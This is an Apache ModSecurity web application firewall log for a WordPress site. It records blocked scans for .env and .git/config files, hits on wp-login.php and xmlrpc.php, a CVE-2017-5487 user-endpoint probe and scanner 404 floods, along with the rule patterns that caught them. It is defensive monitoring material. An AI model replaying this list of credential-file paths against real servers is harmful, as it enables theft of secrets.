[Sun May 17 19:28:42.914450 2026] [:error] [pid 10784:tid 10802] [client 43.167.10.159:56828] [client 43.167.10.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agmmamBWRlKsFkSZGxBFSQAAAYM"]
[Sun May 17 19:52:17.493678 2026] [:error] [pid 59062:tid 59135] [client 35.233.226.10:45526] [client 35.233.226.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.226.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agmr8T4V9GkVWmCFmGYaRwAAAIw"]
[Sun May 17 20:30:47.533599 2026] [:error] [pid 59060:tid 59086] [client 129.232.136.218:49594] [client 129.232.136.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.232.136.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agm09_vwvq3bndkPE4nzkQAAABE"]
[Sun May 17 20:30:49.777833 2026] [:error] [pid 59060:tid 59069] [client 129.232.136.218:49594] [client 129.232.136.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.232.136.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agm0-fvwvq3bndkPE4nzlAAAAAA"], referer: https://gigfragments.org/wp-login.php
[Sun May 17 20:47:42.747715 2026] [:error] [pid 10835:tid 10894] [client 120.27.42.118:40092] [client 120.27.42.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 120.27.42.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agm47kk8lW0-dtknLl8pfQAAAhU"]
[Sun May 17 20:47:45.672330 2026] [:error] [pid 10835:tid 10896] [client 120.27.42.118:40092] [client 120.27.42.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 120.27.42.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agm48Uk8lW0-dtknLl8piAAAAhc"], referer: https://gigfragments.org/wp-login.php
[Sun May 17 20:54:13.636070 2026] [:error] [pid 11079:tid 11122] [client 43.133.54.83:43432] [client 43.133.54.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agm6dWeR3-DrxhvUqxH6MgAAAlI"]
[Sun May 17 22:26:20.061203 2026] [:error] [pid 17234:tid 17260] [client 34.186.133.179:33592] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "agnQDNJ4QOrYRCeDR2hj8AAAAVg"]
[Sun May 17 22:26:22.549737 2026] [:error] [pid 10784:tid 10812] [client 34.186.133.179:34562] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "agnQDmBWRlKsFkSZGxBS7AAAAY0"]
[Sun May 17 22:26:23.543176 2026] [:error] [pid 10834:tid 10848] [client 34.186.133.179:34576] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "agnQDxISNQ_Nf83-Vpq5JwAAAcI"]
[Sun May 17 22:26:24.517062 2026] [:error] [pid 59062:tid 59145] [client 34.186.133.179:34578] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "agnQED4V9GkVWmCFmGY7QAAAAJY"]
[Sun May 17 22:26:25.512767 2026] [:error] [pid 59062:tid 59138] [client 34.186.133.179:36536] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.staging"] [unique_id "agnQET4V9GkVWmCFmGY7RgAAAI8"]
[Sun May 17 22:26:26.556574 2026] [:error] [pid 10834:tid 10868] [client 34.186.133.179:36548] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "agnQEhISNQ_Nf83-Vpq5KAAAAdY"]
[Sun May 17 22:26:27.556164 2026] [:error] [pid 17234:tid 17257] [client 34.186.133.179:36550] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.test"] [unique_id "agnQE9J4QOrYRCeDR2hj8wAAAVU"]
[Sun May 17 22:26:28.500275 2026] [:error] [pid 59062:tid 59141] [client 34.186.133.179:36554] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.remote"] [unique_id "agnQFD4V9GkVWmCFmGY7TwAAAJI"]
[Sun May 17 22:26:29.543439 2026] [:error] [pid 59062:tid 59123] [client 34.186.133.179:36568] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.bak"] [unique_id "agnQFT4V9GkVWmCFmGY7VAAAAIA"]
[Sun May 17 22:26:30.535788 2026] [:error] [pid 10784:tid 10805] [client 34.186.133.179:36582] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "agnQFmBWRlKsFkSZGxBS-gAAAYY"]
[Sun May 17 22:26:31.498806 2026] [:error] [pid 59166:tid 59181] [client 34.186.133.179:36584] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.save"] [unique_id "agnQF0_puQ1I47_0Urj1EwAAAM0"]
[Sun May 17 22:26:32.509966 2026] [:error] [pid 17234:tid 17247] [client 34.186.133.179:36598] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "agnQGNJ4QOrYRCeDR2hj-wAAAUs"]
[Sun May 17 22:26:33.541349 2026] [:error] [pid 11079:tid 11124] [client 34.186.133.179:36604] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.sample"] [unique_id "agnQGWeR3-DrxhvUqxEJ-wAAAlQ"]
[Sun May 17 22:26:34.496719 2026] [:error] [pid 59166:tid 59173] [client 34.186.133.179:36606] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "agnQGk_puQ1I47_0Urj1FwAAAMU"]
[Sun May 17 22:26:35.512382 2026] [:error] [pid 10784:tid 10809] [client 34.186.133.179:40702] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev"] [unique_id "agnQG2BWRlKsFkSZGxBTAAAAAYo"]
[Sun May 17 22:26:36.526646 2026] [:error] [pid 59062:tid 59123] [client 34.186.133.179:40706] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.prod"] [unique_id "agnQHD4V9GkVWmCFmGY7YQAAAIA"]
[Sun May 17 22:26:37.576172 2026] [:error] [pid 59062:tid 59147] [client 34.186.133.179:40712] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.stage"] [unique_id "agnQHT4V9GkVWmCFmGY7ZgAAAJg"]
[Sun May 17 22:26:38.506847 2026] [:error] [pid 59062:tid 59138] [client 34.186.133.179:40720] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.ci"] [unique_id "agnQHj4V9GkVWmCFmGY7aAAAAI8"]
[Sun May 17 22:26:39.495729 2026] [:error] [pid 11079:tid 11100] [client 34.186.133.179:40728] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.docker"] [unique_id "agnQH2eR3-DrxhvUqxEKBAAAAkA"]
[Sun May 17 22:26:40.512855 2026] [:error] [pid 59062:tid 59146] [client 34.186.133.179:40730] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.live"] [unique_id "agnQID4V9GkVWmCFmGY7bwAAAJc"]
[Sun May 17 22:26:41.512355 2026] [:error] [pid 10835:tid 10880] [client 34.186.133.179:40734] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.preprod"] [unique_id "agnQIUk8lW0-dtknLl82cwAAAgc"]
[Sun May 17 22:26:42.508040 2026] [:error] [pid 10835:tid 10879] [client 34.186.133.179:40742] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.uat"] [unique_id "agnQIkk8lW0-dtknLl82dQAAAgY"]
[Sun May 17 22:26:43.748068 2026] [:error] [pid 10784:tid 10816] [client 34.186.133.179:40752] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dist"] [unique_id "agnQI2BWRlKsFkSZGxBTCQAAAZA"]
[Sun May 17 22:26:44.788737 2026] [:error] [pid 10835:tid 10874] [client 34.186.133.179:40764] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.swp"] [unique_id "agnQJEk8lW0-dtknLl82dgAAAgE"]
[Sun May 17 22:26:45.791116 2026] [:error] [pid 10834:tid 10852] [client 34.186.133.179:52608] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env~"] [unique_id "agnQJRISNQ_Nf83-Vpq5MAAAAcY"]
[Sun May 17 22:26:46.788968 2026] [:error] [pid 59061:tid 59113] [client 34.186.133.179:52614] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "agnQJoYS410zAmsYkoI0CgAAAFE"]
[Sun May 17 22:26:47.774918 2026] [:error] [pid 10835:tid 10875] [client 34.186.133.179:52628] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/apps/.env"] [unique_id "agnQJ0k8lW0-dtknLl82ewAAAgI"]
[Sun May 17 22:26:48.788410 2026] [:error] [pid 59061:tid 59117] [client 34.186.133.179:52640] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "agnQKIYS410zAmsYkoI0DQAAAFU"]
[Sun May 17 22:26:49.756946 2026] [:error] [pid 36652:tid 36657] [client 34.186.133.179:52650] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/web/.env"] [unique_id "agnQKTZrzQadnZADvj9e4QAAAQM"]
[Sun May 17 22:26:50.795150 2026] [:error] [pid 17234:tid 17248] [client 34.186.133.179:52658] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/site/.env"] [unique_id "agnQKtJ4QOrYRCeDR2hkBAAAAUw"]
[Sun May 17 22:26:51.805825 2026] [:error] [pid 59062:tid 59140] [client 34.186.133.179:52666] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/public/.env"] [unique_id "agnQKz4V9GkVWmCFmGY7hwAAAJE"]
[Sun May 17 22:26:52.792517 2026] [:error] [pid 59060:tid 59088] [client 34.186.133.179:52676] [client 34.186.133.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env"] [unique_id "agnQLPvwvq3bndkPE4n56wAAABM"]
[Sun May 17 22:53:43.986750 2026] [:error] [pid 59166:tid 59171] [client 49.233.45.47:47264] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agnWd0_puQ1I47_0Urj2AgAAAMM"]
[Sun May 17 23:23:01.884380 2026] [:error] [pid 59166:tid 59182] [client 140.213.1.137:41344] [client 140.213.1.137] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agndVU_puQ1I47_0Urj2-gAAAM4"]
[Sun May 17 23:49:48.484759 2026] [:error] [pid 10835:tid 10886] [client 129.226.94.52:41536] [client 129.226.94.52] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agnjnEk8lW0-dtknLl88iAAAAg0"]
[Mon May 18 00:14:55.283677 2026] [:error] [pid 59061:tid 59097] [client 103.60.205.66:31943] [client 103.60.205.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.60.205.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agnpf4YS410zAmsYkoI4_QAAAEE"]
[Mon May 18 00:15:05.597389 2026] [:error] [pid 36652:tid 36654] [client 103.60.205.66:36870] [client 103.60.205.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.60.205.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agnpiTZrzQadnZADvj9ilQAAAQA"]
[Mon May 18 00:15:16.028460 2026] [:error] [pid 10784:tid 10812] [client 103.60.205.66:41301] [client 103.60.205.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.60.205.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agnplGBWRlKsFkSZGxBYQAAAAY0"]
[Mon May 18 00:15:26.461172 2026] [:error] [pid 10835:tid 10884] [client 103.60.205.66:44598] [client 103.60.205.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.60.205.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agnpnkk8lW0-dtknLl8-qAAAAgs"]
[Mon May 18 00:15:37.064026 2026] [:error] [pid 10784:tid 10801] [client 103.60.205.66:48172] [client 103.60.205.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.60.205.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agnpqWBWRlKsFkSZGxBYQgAAAYI"]
[Mon May 18 04:18:25.963682 2026] [:error] [pid 20777:tid 20789] [client 43.160.241.129:47076] [client 43.160.241.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agoikYHClf0EYFQBeRE8xAAAAAM"]
[Mon May 18 05:11:55.635262 2026] [:error] [pid 20779:tid 20853] [client 43.134.36.238:51028] [client 43.134.36.238] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agovGyF3Tl5ZGU-QyEDT_wAAAIc"]
[Mon May 18 05:28:09.881337 2026] [:error] [pid 20779:tid 20865] [client 185.231.100.76:56986] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agoy6SF3Tl5ZGU-QyEDWZgAAAJM"]
[Mon May 18 05:28:11.820446 2026] [:error] [pid 63115:tid 63131] [client 185.231.100.76:59094] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agoy6-z_ApFcYdejvGfnWwAAAQ4"]
[Mon May 18 05:28:13.654146 2026] [:error] [pid 63115:tid 63118] [client 185.231.100.76:42678] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "agoy7ez_ApFcYdejvGfnawAAAQE"]
[Mon May 18 05:28:15.635171 2026] [:error] [pid 20884:tid 20902] [client 185.231.100.76:42690] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "agoy73v9K_lRldrJG3OuvwAAANA"]
[Mon May 18 05:28:17.641975 2026] [:error] [pid 20884:tid 20907] [client 185.231.100.76:42700] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "agoy8Xv9K_lRldrJG3OuxAAAANU"]
[Mon May 18 05:28:19.650441 2026] [:error] [pid 63115:tid 63140] [client 185.231.100.76:42702] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "agoy8-z_ApFcYdejvGfndgAAARc"]
